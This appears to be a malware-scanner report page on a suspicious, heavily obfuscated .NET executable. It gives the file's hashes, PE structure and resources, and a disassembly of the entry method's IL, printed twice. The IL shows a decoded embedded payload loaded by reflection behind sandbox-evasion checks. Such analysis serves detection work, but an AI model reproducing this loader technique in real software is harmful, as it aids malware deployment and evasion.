Suspicious
Suspect

Share on LinkedIn
Print
PE Executable
MD5: 781efcdc420fc0a5a8b7dca2fcff180a
Size: 672.26 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 781efcdc420fc0a5a8b7dca2fcff180a
Sha1 ef05dbb486bc4362b6d0d1e6666c331f9dd0059c
Sha256 190578d39bf3003dec8e964cfa5e3118ca9ce1bdf39e43e90c025edf4b462e70
Sha384 501479d39cf99cb75f4b3787afc872c189ba6119d80bcb7998ef3b91150c97d9d882e64133235833a9488b3cbc04cd70
Sha512 64d932a0acaeacda5c70077666a3095dc94144e54b508c0b99688dc7adf232c479f1051141a1aa72a248eb03d0229b8876d8e644a6faff05f8156c442aa77db1
SSDeep 12288:uWuiw8I71N5cL6pCfwnfRLH5ugthDBiwEfzuu:uWG8IT9hDBiBv
TLSH A2E47B055BC32F49C3694679D2672929A3B18481D232C32BBFE544DA4F437E5FA83E27
PeID
.NET executableHQR data fileMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
bt5A0jQ_G7g.Resources.resources
bt5A0jQ_G7g.g.resources
c1d0d54b1208f4.Resources.resources
bfd98e5c0
[NBF]root.Data
bfd98e5c1
[NBF]root.Data
bfd98e5c2
[NBF]root.Data
bfd98e5c3
[NBF]root.Data
bfd98e5c4
[NBF]root.Data
bfd98e5c5
[NBF]root.Data
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
bt5A0jQ_G7g
Full Name
bt5A0jQ_G7g
EntryPoint
System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Scope Name
bt5A0jQ_G7g
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
bt5A0jQ_G7g
Assembly Version
27.9.11.182
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Main IL Instruction Count
257
Main IL
nop <null>
br.s IL_0003: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_002F: nop
nop <null>
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState()
ldc.i4.1 <null>
ceq <null>
stloc.s V_17
ldloc.s V_17
brfalse.s IL_0048: ldc.i4.1
ldc.i4.4 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
ldc.i4.1 <null>
br.s IL_0044: stloc.s V_23
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
nop <null>
ldc.i4.1 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture()
stloc.0 <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo)
nop <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo)
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.1 <null>
ldc.i4.0 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
ldc.i4 1539416310
ldc.i4.5 <null>
ldnull <null>
call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly)
stloc.2 <null>
br.s IL_008D: br.s IL_008F
br.s IL_008F: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00AF: nop
nop <null>
ldloc.1 <null>
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String)
stloc.s V_18
ldloc.s V_18
callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion()
stloc.2 <null>
leave.s IL_00D8: br.s IL_00DA
br.s IL_00C9: br.s IL_00CB
br.s IL_00CB: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00D8: br.s IL_00DA
br.s IL_00DA: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0122: nop
nop <null>
ldc.i4.s 28
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.3 <null>
ldloc.3 <null>
nop <null>
ldc.i4 93027982
ldnull <null>
ldc.i4.8 <null>
call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32)
nop <null>
ldc.i4 1539416271
ldc.i4.2 <null>
ldnull <null>
call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.s V_4
ldc.i4.s 10
stloc.s V_27
br.s IL_00DD: ldloc.s V_27
ldloc.s V_4
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_19
ldloc.s V_19
brfalse.s IL_016B: ldc.i4.6
ldc.i4.5 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldc.i4.6 <null>
br.s IL_0164: stloc.s V_27
ldloc.s V_4
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
nop <null>
ldc.i4.6 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
nop <null>
ldc.i4.1 <null>
stloc.s V_5
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_7
ldc.i4.s 9
stloc.s V_27
br IL_00DD: ldloc.s V_27
call System.String 5zmMdZp1Js0a4S.ew2TsZr::Cnc1b9dNrA5()
call System.Byte[] Gf3zneT78z.sZq8W4r_::tp4HP9qy5kdFjS(System.String)
stloc.s V_8
call System.Boolean System.Environment::get_UserInteractive()
stloc.s V_9
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_20
ldloca.s V_20
call System.Int32 System.Drawing.Rectangle::get_Width()
stloc.s V_10
ldc.i4.s 13
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldloc.s V_8
castclass System.Byte[]
call System.Byte[] 4fsTNi5erJc.wq4D7xBjrc5K::yn4J6GxoYgr5gN(System.Byte[])
stloc.s V_11
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_11
stelem.ref <null>
ldc.i4.s 12
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_12
call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip()
stloc.s V_20
ldloca.s V_20
call System.Boolean System.Drawing.Rectangle::get_IsEmpty()
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_14
ldloc.s V_14
nop <null>
ldc.i4 93028007
ldnull <null>
ldc.i4.4 <null>
call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_15
ldc.i4.s 11
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldloc.s V_15
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_16
ldc.i4.1 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldloc.s V_7
ldloc.s V_6
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_16
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldloc.s V_7
ldloc.s V_6
call System.Void 5zmMdZp1Js0a4S.ew2TsZr::2cjYiPj9mn6F8(System.Object[],System.Int32)
ldc.i4.3 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
nop <null>
leave.s IL_02B9: br.s IL_02BB
br.s IL_02A7: br.s IL_02A9
br.s IL_02A9: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02B9: br.s IL_02BB
br.s IL_02BB: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_02DB: nop
nop <null>
ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q
ldc.i4.s 13
ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q
ldc.i4.s 13
ldelem.i4 <null>
ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q
ldc.i4.s 9
ldelem.i4 <null>
mul <null>
ldc.i4.s 30
and <null>
stelem.i4 <null>
ret <null>
ldtoken System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
pop <null>
ret <null>
Module Name
bt5A0jQ_G7g
Full Name
bt5A0jQ_G7g
EntryPoint
System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Scope Name
bt5A0jQ_G7g
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
bt5A0jQ_G7g
Assembly Version
27.9.11.182
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
Main IL Instruction Count
257
Main IL
nop <null>
br.s IL_0003: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_002F: nop
nop <null>
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
callvirt System.Threading.ApartmentState System.Threading.Thread::GetApartmentState()
ldc.i4.1 <null>
ceq <null>
stloc.s V_17
ldloc.s V_17
brfalse.s IL_0048: ldc.i4.1
ldc.i4.4 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
ldc.i4.1 <null>
br.s IL_0044: stloc.s V_23
call System.Threading.Thread System.Threading.Thread::get_CurrentThread()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
nop <null>
ldc.i4.1 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
call System.Globalization.CultureInfo System.Globalization.CultureInfo::get_InvariantCulture()
stloc.0 <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentCulture(System.Globalization.CultureInfo)
nop <null>
ldloc.0 <null>
call System.Void System.Globalization.CultureInfo::set_CurrentUICulture(System.Globalization.CultureInfo)
nop <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.1 <null>
ldc.i4.0 <null>
stloc.s V_23
br.s IL_0006: ldloc.s V_23
nop <null>
ldc.i4 1539416310
ldc.i4.5 <null>
ldnull <null>
call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly)
stloc.2 <null>
br.s IL_008D: br.s IL_008F
br.s IL_008F: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00AF: nop
nop <null>
ldloc.1 <null>
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Diagnostics.FileVersionInfo System.Diagnostics.FileVersionInfo::GetVersionInfo(System.String)
stloc.s V_18
ldloc.s V_18
callvirt System.String System.Diagnostics.FileVersionInfo::get_FileVersion()
stloc.2 <null>
leave.s IL_00D8: br.s IL_00DA
br.s IL_00C9: br.s IL_00CB
br.s IL_00CB: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00D8: br.s IL_00DA
br.s IL_00DA: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0122: nop
nop <null>
ldc.i4.s 28
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
stloc.3 <null>
ldloc.3 <null>
nop <null>
ldc.i4 93027982
ldnull <null>
ldc.i4.8 <null>
call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32)
nop <null>
ldc.i4 1539416271
ldc.i4.2 <null>
ldnull <null>
call System.String 2epPD_6cw.eAk45nPpxf/0PbtQq4prAd7.mz5Ng7Di6::Awx51yCaY2o(System.Int32,System.Int32,System.Reflection.Assembly)
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.s V_4
ldc.i4.s 10
stloc.s V_27
br.s IL_00DD: ldloc.s V_27
ldloc.s V_4
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_19
ldloc.s V_19
brfalse.s IL_016B: ldc.i4.6
ldc.i4.5 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldc.i4.6 <null>
br.s IL_0164: stloc.s V_27
ldloc.s V_4
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
nop <null>
ldc.i4.6 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
nop <null>
ldc.i4.1 <null>
stloc.s V_5
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_6
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_7
ldc.i4.s 9
stloc.s V_27
br IL_00DD: ldloc.s V_27
call System.String 5zmMdZp1Js0a4S.ew2TsZr::Cnc1b9dNrA5()
call System.Byte[] Gf3zneT78z.sZq8W4r_::tp4HP9qy5kdFjS(System.String)
stloc.s V_8
call System.Boolean System.Environment::get_UserInteractive()
stloc.s V_9
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_20
ldloca.s V_20
call System.Int32 System.Drawing.Rectangle::get_Width()
stloc.s V_10
ldc.i4.s 13
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldloc.s V_8
castclass System.Byte[]
call System.Byte[] 4fsTNi5erJc.wq4D7xBjrc5K::yn4J6GxoYgr5gN(System.Byte[])
stloc.s V_11
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_11
stelem.ref <null>
ldc.i4.s 12
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_12
call System.Drawing.Rectangle System.Windows.Forms.Cursor::get_Clip()
stloc.s V_20
ldloca.s V_20
call System.Boolean System.Drawing.Rectangle::get_IsEmpty()
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_14
ldloc.s V_14
nop <null>
ldc.i4 93028007
ldnull <null>
ldc.i4.4 <null>
call System.String 2epPD_6cw.eAk45nPpxf::2Pbrj(System.Int32,2epPD_6cw.eAk45nPpxf,System.Int32)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_15
ldc.i4.s 11
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldloc.s V_15
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_7
ldloc.s V_6
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stloc.s V_16
ldc.i4.1 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
ldloc.s V_7
ldloc.s V_6
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_16
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldloc.s V_7
ldloc.s V_6
call System.Void 5zmMdZp1Js0a4S.ew2TsZr::2cjYiPj9mn6F8(System.Object[],System.Int32)
ldc.i4.3 <null>
stloc.s V_27
br IL_00DD: ldloc.s V_27
nop <null>
leave.s IL_02B9: br.s IL_02BB
br.s IL_02A7: br.s IL_02A9
br.s IL_02A9: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02B9: br.s IL_02BB
br.s IL_02BB: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_02DB: nop
nop <null>
ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q
ldc.i4.s 13
ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q
ldc.i4.s 13
ldelem.i4 <null>
ldsfld System.Int32[] Hiz23J.2JbjAwi7sr4::rt6Tp4Q
ldc.i4.s 9
ldelem.i4 <null>
mul <null>
ldc.i4.s 30
and <null>
stelem.i4 <null>
ret <null>
ldtoken System.Void 4fsTNi5erJc.wq4D7xBjrc5K/Sjm20Bmo.kw6D1G_int9::wBf47gKwze6Ht0()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙